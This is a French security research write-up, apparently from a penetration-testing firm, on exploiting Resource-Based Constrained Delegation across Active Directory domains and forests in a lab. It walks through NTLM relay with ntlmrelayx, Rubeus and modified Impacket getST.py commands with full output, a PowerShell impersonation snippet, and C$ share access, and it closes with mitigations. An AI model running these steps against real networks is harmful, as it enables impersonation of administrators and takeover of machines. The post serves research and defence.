Exploiter la RBCD en environnements cross-domain & cross-forest

Rédigé par Simon Msika - 23/03/2026 - dans - Téléchargement

L'attaque par Resource-based Constrained Delegation (RBCD) est une technique bien connue des pentesters et des attaquants. En modifiant l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity d'un compte machine, un attaquant peut usurper l'identité d'utilisateurs sur ladite machine. Bien que l'exploitation de ce mécanisme avec les outils Rubeus ou Impacket soit largement documentée au sein d'un même domaine, rares sont les ressources qui traitent de sa mise en œuvre dans des environnements inter-domaines (cross-domain) ou inter-forêts (cross-forest). Dans cet article, nous détaillerons le fonctionnement du workflow RBCD dans ces deux contextes et présenterons un script basé sur Impacket permettant de mener à bien ces attaques.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

Récemment, nous avons été confrontés à un scénario où il était possible de modifier l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity d'un serveur appartenant à un domaine Active Directory. Cette situation se prêtait parfaitement à une attaque de type Resource-Based Constrained Delegation (RBCD), une technique bien connue et documentée de longue date.

Toutefois, une difficulté s'est présentée : nous ne disposions que d'un accès sur l'un des domaines enfants, mais pas d'un accès dans le domaine ciblé. En cherchant comment mener cette attaque dans un tel environnement inter-domaines, nous avons réalisé que les scripts actuels d'Impacket ne permettaient pas de réaliser une RBCD dans ce contexte précis.

Le manque de documentation sur ce vecteur d'attaque spécifique nous a donc poussés à analyser en profondeur le fonctionnement de la RBCD entre différents domaines.

Exploiter la RBCD inter-domain

Configuration de l'environnement

Pour étudier la RBCD entre deux domaines, nous avons commencé par créer deux domaines d'une même forêt : asgard.local et dev.asgard.local. Au sein du domaine asgard.local, nous avons créé un ordinateur (nommé workstation), qui sera la cible de notre attaque RBCD. 

Nous avons aussi créé un objet ordinateur au sein du domaine dev.asgard.local, appelé rbcd_test$ :

$ python3 addcomputer.py dev.asgard.local/thor_dev:'[...]' -dc-ip 192.168.90.131 -computer-name rbcd_test -computer-pass '[...]'

Ensuite, nous avons autorisé le compte rbcd_test$@dev.asgard.local à effectuer une RBCD sur workstation@asgard.local, en l'ajoutant au champ msDs-AllowedToActOnBehalfOfOtherIdentity de ce dernier.

Pour cela, nous avons réalisé une attaque par relai NTLM en utilisant le script Impacket ntlmrelayx.py, comme nous le ferions lors d'un pentest. Cependant, le compte rbcd_test$@dev.asgard.local n'est pas un membre du domaine asgard.local et n'est donc pas présent dans l'annuaire LDAP du domaine : nous devons passer son SID dans la ligne de commande plutôt que son nom.

Nous avons utilisé la commande suivante :

$ sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 --no-dump --no-da --no-validate-privs --delegate-access --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 --sid
[...]
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /21i/pipe/srvsvc
[*] HTTPD(80): Connection from 192.168.90.190 controlled, attacking target ldap://192.168.90.217
[*] HTTPD(80): Authenticating against ldap://192.168.90.217 as ASGARD/WORKSTATION$ SUCCEED
[*] Assuming relayed user has privileges to escalate an user via ACL attack
[-] User not found in LDAP: S-1-5-21-3104832133-133926542-3798009529-1106
[-] Unable to escalate without a valid user.
[*] Delegation rights modified succesfully!
[*] S-1-5-21-3104832133-133926542-3798009529-1106 can now impersonate users on WORKSTATION$ via S4U2Proxy

La délégation est maintenant configurée : le but est désormais d'exploiter cette RBCD et usurper l'identité de thor_adm@asgard.local sur la machine ciblée afin de la compromettre.

Le déroulement de la RBCD inter-domain

En cherchant de la documentation sur les étapes de la RBCD dans notre environnement, nous avons trouvé la documentation Microsoft pour les échanges S4U2Self inter-domaines. Cependant, nous n'avons pas trouvé d'information concernant les étapes S4U2Proxy, qui sont aussi nécessaires pour effectuer la RBCD.

Heureusement, la RBCD inter-domaines est déjà implémentée dans Rubeus, dans la fonction CrossDomainS4U du fichier S4U.cs : nous avons donc un déroulé des différentes étapes de notre RBCD.

RBCD cross-domain diagram
Un diagramme des interactions Kerberos lors de la RBCD inter-domaine.

 

  1. Nous demandons un TGT for rbcd_test$@dev.asgard.local au contrôleur de domaine dev.
  2. Nous demandons un TGT inter-domaine à ce même contrôleur de domaine pour pouvoir nous authentifier au domaine asgard.local.
  3. Avec ce ticket, nous obtenons un ticket de service "referral" via S4U2Self pour l'utilisateur thor_adm@asgard.local auprès du contrôleur de domaine asgard.local.
  4. À l'aide de ce ticket, nous effectuons la demande de ticket via S4U2Self pour l'utilisateur thor_adm@asgard.local pour le service rbcd_test$@dev.asgard.local sur le contrôleur de domaine dev.asgard.local.
  5. Nous effectuons une demande de ticket via S4U2Proxy au contrôleur de domaine de dev.asgard.local, en fournissant le TGT inter-domaine ainsi que le ticket obtenu à l'étape 4 via S4U2Self.
  6. On utilise ce ticket et le TGT inter-domaine pour obtenir le ticket de service final via S4U2Proxy pour le domaine asgard.local.

Comme évoqué ci-dessus, Rubeus permet d'effectuer toutes ces étapes en fournissant les arguments suivants :

Rubeus.exe s4u /user:"rbcd_test$" /aes256:2b[...]b8fe /domain: dev.asgard.local /impersonateuser:thor_adm /msdsspn:"cifs/workstation.asgard.local" /targetdc:dc01.asgard.local /targetdomain:asgard.local /ptt /nowrap

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: C2354F843A6C52BC484522831DFA13531EB0F72DE9D9133EBEF447A5CF60F0E3
[*] Building AS-REQ (w/ preauth) for: 'dev.asgard.local\rbcd_test$'
[*] Using domain controller: 192.168.90.131:88
[+] TGT request successful!
[...]

[*] Action: S4U

[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from DEV.ASGARD.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[+] TGS request successful!
[...]

  ServiceName              :  krbtgt/ASGARD.LOCAL
  ServiceRealm             :  DEV.ASGARD.LOCAL
  UserName                 :  rbcd_test$ (NT_PRINCIPAL)
  UserRealm                :  DEV.ASGARD.LOCAL
  StartTime                :  04/11/2025 17:32:38
  EndTime                  :  05/11/2025 03:32:38
  RenewTill                :  11/11/2025 17:32:38
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  5Qsm4lJIOWsjZL8fyCgAJA==

[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for thor_adm@asgard.local from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]

[*] Requesting the S4U2Self ticket from DEV.ASGARD.LOCAL
[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Requesting the cross realm 'S4U2Self' for thor_adm@asgard.local from 
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[...]

[*] Using domain controller: CHILD-DC.dev.asgard.local (192.168.90.131)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on 
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]

[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[...]

[+] Ticket successfully imported!

Une fois le ticket importé, nous pouvons désormais l'utiliser pour accéder au partage C$ de workstation.asgard.local :

dir \\workstation.asgard.local\c$


    Répertoire : \\workstation.asgard.local\c$


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        14/04/2025     09:51                inetpub
d-----        07/12/2019     10:14                PerfLogs
d-r---        05/05/2025     17:13                Program Files
d-r---        16/01/2025     18:20                Program Files (x86)
d-r---        30/10/2025     16:17                Users
d-----        28/05/2025     14:35                Windows
-a----        22/02/2024     01:33         112136 appverifUI.dll
-a----        28/05/2025     14:51         154093 log.txt
-a----        22/02/2024     01:34          66328 vfcompat.dll

Depuis une machine Linux : implémentation avec Impacket

Après avoir effectué cette attaque à l'aide de Rubeus, nous nous sommes demandés s'il était possible de l'effectuer à l'aide d'Impacket. Malheureusement, le script getST.py ne permet pas d'effectuer les étapes S4U2Self et S4U2Proxy inter-domaines.

En effet, en analysant une capture réseau lors d'une RBCD inter-domaines, nous avons noté que pour les étapes 3 à 6, le realm Kerberos des demandes de tickets était différent de celui du ticket utilisé dans le champ PA-TGS-REQ :

Wireshark screenshot
Capture réseau : les realms Kerberos dans le ticket dans le PA-DATA-TGS-REQ et le corps de la requête sont différents.

Cependant, dans la version d'Impacket de getST.py, il n'est pas possible de spécifier le realm dans la requête Kerberos, qui est défini depuis le ticket inclus dans la requête.

def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

[...]
        reqBody['realm'] = str(decodedTGT['crealm'])

Qui plus est, l'implémentation de getST.py ne permet pas d'effectuer l'étape S4U2Proxy indépendamment de S4U2Self : il n'est possible d'effectuer uniquement soit S4U2Self, soit S4U2Self + S4U2Proxy. 

Nous avons donc implémenté la RBCD inter-domaines dans getST.py en suivant la même procédure que Rubeus. Le script est maintenant accessible ici

Pour utiliser ce script, plusieurs arguments supplémentaires doivent être fournis :

  • L'adresse IP du premier contrôleur de domaine à contacter, soit celui du domaine de l'utilisateur courant (-dc-ip).
  • Le domaine à cibler (-targetdomain).
  • L'adresse IP du contrôleur de domaine du domaine à cibler, dans lequel se trouve le compte dont nous souhaitons usurper l'identité (-targetdc). 

Dans notre cas, l'exploitation de la RBCD inter-domaine s'est donc traduite par la ligne de commande suivante :

$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache

Après l'exécution du script, nous obtenons bien un ticket qui nous permet d'utiliser l'identité de thor_adm sur workstation et accéder au partage C$ :

$ python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k -dc-ip 192.168.90.131 -targetdc 192.168.90.217 -impersonate thor_adm -spn cifs/workstation.asgard.local -targetdomain asgard.local

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Saving ticket in thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache


$ KRB5CCNAME=thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache ./smbclient.py "asgard.local/thor_adm@workstation.asgard.local" -k -no-pass -dc-ip 192.168.90.217                        

[+] Using Kerberos Cache: thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache
[+] Returning cached credential for CIFS/WORKSTATION.ASGARD.LOCAL@ASGARD.LOCAL
[+] Using TGS from cache
Type help for list of commands
# use c$
# ls
drw-rw-rw-          0  Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw-          0  Tue Jul  8 09:53:41 2025 $WinREAgent
-rw-rw-rw-     112136  Thu Jan 16 18:20:04 2025 appverifUI.dll
drw-rw-rw-          0  Thu Jan 16 17:26:14 2025 Documents and Settings
[...]

Et voilà !

Le cas de la RBCD cross-forest

Une fois le mécanisme de la RBCD inter-domaines implémenté, nous avons tenté d'effectuer le même processus pour deux forêts différentes : asgard.local et valhalla.local.

Après avoir configuré la relation d'approbation entre les deux domaines, nous avons configuré la RBCD de la même façon que précédemment : le compte desktop$.valhalla.local a été autorisé à effectuer la RBCD sur workstation.asgard.local.

Nous avons d'abord lancé Rubeus, en s'attendant à ce que tout marche du premier coup :

Rubeus.exe s4u /user:"desktop$" /domain:valhalla.local /aes256:D3E7[...] /impersonateuser:thor /msdsspn:cifs/workstation.asgard.local /targetdc:dc01.asgard.local /dc:DC.valhalla.local /targetdomain:asgard.local /nowrap /ptt


[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: D3E7[...]
[*] Building AS-REQ (w/ preauth) for: 'valhalla.local\desktop$'
[*] Using domain controller: 192.168.90.161:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF[...]


[*] Action: S4U

[*] Performing cross domain constrained delegation
[*] Retrieving referral TGT from VALHALLA.LOCAL for foreign domain, asgard.local, KRBTGT service
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'krbtgt/asgard.local'
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[+] TGS request successful!
[*] base64(ticket.kirbi):

      do[...]

  ServiceName              :  krbtgt/ASGARD.LOCAL
  ServiceRealm             :  VALHALLA.LOCAL
  UserName                 :  desktop$ (NT_PRINCIPAL)
  UserRealm                :  VALHALLA.LOCAL
  StartTime                :  06/11/2025 16:27:06
  EndTime                  :  07/11/2025 02:27:06
  RenewTill                :  13/11/2025 16:27:06
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  UMT4xgEW71Wuq9eR3fqE5A==

[*] Retrieving the S4U2Self referral from asgard.local
[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Requesting the cross realm 'S4U2Self' for thor@asgard.local from dc01.asgard.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Requesting the S4U2Self ticket from VALHALLA.LOCAL
[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Requesting the cross realm 'S4U2Self' for thor@asgard.local from DC.valhalla.local
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] base64(ticket.kirbi):

      doIF[...]

[*] Using domain controller: DC.valhalla.local (192.168.90.161)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on DC.valhalla.local
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/workstation.asgard.local':

      doIG[...]

[*] Using domain controller: dc01.asgard.local (192.168.90.217)
[*] Building S4U2proxy request for service: 'cifs/workstation.asgard.local' on dc01.asgard.local
[*] Sending S4U2proxy request

[X] KRB-ERROR (12) : KDC_ERR_POLICY

... mais nous avons obtenu une erreur KDC_ERR_POLICY.

Comme visible dans la dernière commande, seule la dernière étape (demande de ticket de service via S4U2Proxy après referral) échoue. Cependant, le contenu du dernier ticket obtenu est similaire à celui du scénario RBCD inter-domaines : 

  • Les deux tickets ont tous les deux les drapeaux forwardable, renewable, pre_authent, ok_as_delegate, et enc_pa_rep.
  • Les champs extra-SID sont les mêmes dans les deux cas :  S-1-18-2 (Service asserted identity).
  • Le drapeau PAC_WAS_GIVEN_IMPLICITLY est défini dans les deux cas.

L'erreur KDC_ERR_POLICY suggère que du filtrage empêche le processus de fonctionner. Cependant, le mécanisme de filtrage de SID n'est, à notre connaissance, pas impliqué ici.

En effet, nous sommes confrontés à l'erreur KDC_ERR_POLICY même en effectuant les mêmes étapes avec des comptes non privilégiés du domaine asgard.local, même si aucun des SID mentionnés dans la documentation Microsoft ne concerne notre utilisateur.

Nous avons également essayé d'activer la délégation de TGT pour la relation d'approbation : sans résultat.

En cherchant pourquoi nos tests se soldaient par des échecs, nous sommes tombés sur le tableau suivant résumant les différentes configurations fonctionnelles pour la RBCD : https://freeipa.readthedocs.io/en/latest/designs/rbcd.html#use-cases.

Ce tableau fait référence à la documentation Microsoft, qui présente les éléments suivants :

    2. Dans les déploiements impliquant plusieurs forêts (une forêt d'utilisateurs, une forêt de ressources et une forêt pour le Proxy d'application Web Windows Server), les configurations suivantes sont prises en charge :
        a. Les utilisateurs et les serveurs Proxy d'application se trouvent dans la même forêt, mais les ressources sont dans une forêt différente.
        b. Les ressources et les serveurs Proxy d'application se trouvent dans la même forêt, mais les utilisateurs sont dans une forêt différente (KCD traditionnel).

    3. Dans les déploiements impliquant plusieurs forêts (une forêt d'utilisateurs, une forêt de ressources et une forêt pour le Proxy d'application Web Windows Server), les configurations suivantes ne fonctionneront pas :
        a. Les utilisateurs, les ressources et les serveurs Proxy d'application sont tous situés dans des forêts différentes.
        b. Les utilisateurs et les ressources sont dans la même forêt, mais les serveurs Proxy d'application sont dans une forêt différente.

Not working configuration schema
Capture d'écran issue de la documentation Microsoft : ces configurations ne fonctionneront pas.

Pour transposer dans notre cas, cela signifie que la RBCD inter-forêt ne fonctionnera que si l'identité usurpée fait partie de la même forêt que le compte autorisé à effectuer la RBCD. Ainsi, dans notre cas de figure, il ne nous est possible d'usurper l'identité que de comptes de la forêt valhalla.local.

Bien que ce chemin d'attaque soit moins puissant que celui d'une RBCD standard au sein d'un même domaine ou de domaines d'une même forêt (car il n'est pas possible d'usurper l'identité d'un utilisateur de la forêt ciblée), il peut toujours être intéressant si des utilisateurs d'une autre forêt disposent de privilèges d'administration. Ainsi, si un attaquant dispose d'un compte dans cette forêt, cette attaque pourra être menée. 

Pour simuler ce chemin d'attaque, nous avons ajouté des droits d'administration à l'utilisateur v_thor@valhalla.local sur l'ordinateur workstation.asgard.local. L'objectif sera donc d'usurper l'identité de v_thor@valhalla.local pour accéder et compromettre workstation.asgard.local.

Cependant, même en respectant les contraintes de la RBCD inter-forêts, l'outillage actuel (Rubeus ou Impacket) ne nous permettent pas d'effectuer la RBCD inter-forêts. Ainsi, pour étudier les échanges Kerberos, nous avons simulé le trafic réseau de la délégation en exécutant le code suivant en tant que desktop$ (le principal autorisé à usurper des identités sur les services de workstation.asgard.local), comme décrit par exploit.ph et Will Schroeder :

# translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx

# load the necessary assembly
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')

# execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user
$Ident = New-Object System.Security.Principal.WindowsIdentity @('v_thor@valhalla.LOCAL')

# actually impersonate the next context
$Context = $Ident.Impersonate()

# implicitly invoke S4U2Proxy with the specified action
ls \\workstation.asgard.local\C$

Nous avons effectué l'usurpation d'identité et analysé le trafic Kerberos généré. Les différentes étapes sont les suivantes :

  1. Nous demandons un TGT pour desktop$@valhalla.local au contrôleur du domaine valhalla.local.
  2. À l'aide de ce ticket, nous effectuons une demande de ticket via S4U2Self pour l'utilisateur v_thor@valhalla.local au contrôleur du domaine valhalla.local.
  3. Nous effectuons une demande de ticket via S4U2Proxy pour le service ciblé pour l'utilisateur v_thor@valhalla.local, toujours sur le contrôleur du domaine valhalla.local. Celui-ci répond avec un referral TGT pour le domaine asgard.local.
  4. Nous effectuons une autre demande via S4U2Proxy au contrôleur de domaine de valhalla.local, mais sans fournir le ticket obtenu via S4U2Self comme ticket additionnel. De plus, le drapeau branch-aware est activé dans la PA-PAC-OPTIONS. La réponse du contrôleur de domaine valhalla.local contient un second referral TGT pour le domaine asgard.local.
  5. Avec le TGT obtenu à l'étape 3, nous effectuons une demande de ticket au contrôleur de domaine d'asgard.local pour le service ciblé. Nous obtenons un ticket pour l'utilisateur desktop$@valhalla.local. Ce ticket n'est pas utilisé durant le processus de RBCD.
  6. Avec les tickets referral obtenus aux étapes 3 et 4, nous effectuons une demande de ticket via S4U2Proxy pour le service ciblé sur le contrôleur de domaine d'asgard.local. Nous obtenons ainsi un ticket pour le service demandé pour l'utilisateur ciblé (v_thor@valhalla.local dans notre cas). 
Cross-Forest RBCD diagram
Diagramme des interactions Kerberos lors de la RBCD inter-forêts.

Comme nous pouvons le remarquer, les étapes 1 à 3 sont exactement les mêmes que dans le cas d'une RBCD sur un seul domaine. Pour autant, le ticket obtenu à l'issue de ces étapes est un ticket TGT referral : il s'agit d'un des deux tickets nécessaires pour obtenir le ticket final pour le service ciblé (ici cifs/workstation.asgard.local).

En regardant en détail le trafic Kerberos généré lors de l'usurpation d'identité de la RBCD inter-forêts, nous avons observé que le ticket obtenu à l'étape 5 n'est jamais utilisé dans le processus. Il est ainsi possible d'occulter cette demande de ticket et d'obtenir un ticket de service valide.

Plusieurs détails dans la RBCD inter-forêts diffèrent du processus de la RBCD usuelle, ce qui explique l'impossibilité de Rubeus et d'Impacket pour mener ce processus. En particulier : 

  • À l'étape 4, la demande de ticket doit disposer du drapeau branch-aware, qui n'est pas utilisé dans les implémentations de Rubeus ou d'Impacket.

  • À l'étape 6, le ticket est chiffré à l'aide de l'algorithme RC4, indépendamment des options de chiffrement demandées.

Enfin, nous avons implémenté ces différentes étapes dans getST.py (disponible ici). Nous avons donc pu obtenir un ticket de service valide pour cifs/workstation.asgard.local. Un argument additionnel doit être utilisé ici (-forest) afin d'identifier que nous sommes dans un cas de RBCD inter-forêts :

$ python3 ./getST.py -spn 'cifs/workstation.asgard.local' -impersonate 'v_thor' -dc-ip VALHALLA.local valhalla.local/'desktop$' -targetdc ASGARD.local -targetdomain asgard.local -aesKey 4[...]f -forest

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Requesting S4U2Proxy
[*] Requesting S4U2Proxy
[*] Requesting TGS
[*] Saving ticket in v_thor@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache


$ KRB5CCNAME=v_thor@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache smbclient.py -k -no-pass -target-ip 192.168.90.190 valhalla.local/v_thor@workstation.asgard.local                                                        
# use c$
# ls
drw-rw-rw-          0  Thu Oct 30 16:18:00 2025 $Recycle.Bin
drw-rw-rw-          0  Tue Jul  8 09:53:41 2025 $WinREAgent
-rw-rw-rw-     112136  Thu Feb 12 18:32:33 2026 appverifUI.dll
drw-rw-rw-          0  Thu Jan 16 17:26:14 2025 Documents and Settings
Satisfied seal meme

Conclusion

Nos recherches nous ont permis d'étudier le fonctionnement du protocole Kerberos dans des environnements inter-domaines et inter-forêts. Nous avons pu effectuer une attaque RBCD dans deux forêts différentes, et implémenter le fonctionnement de cette attaque dans Impacket pour pouvoir l'utiliser depuis des machines Linux.

Protéger les domaines Active Directory des attaques décrites dans cet article est assez simple. En effet, des chemins de compromission via les attaques RBCD peuvent apparaître lorsque des configurations permettant les relais NTLM sont possibles. Des protections contre les attaques par relais NTLM doivent être implémentées au niveau des services Active Directory : la signature et la liaison de canal LDAP doivent être imposées, et les protocoles facilitant les attaques par relai (LLMNR, IPv6, etc.) doivent être désactivés en l'absence de besoin fonctionnel. De plus, des erreurs de configuration des ACL peuvent également mener à des chemins d'attaques par RBCD. L'utilisation de BloodHound pour auditer les ACL en place devrait aussi être envisagée afin d'identifier ces scénarios.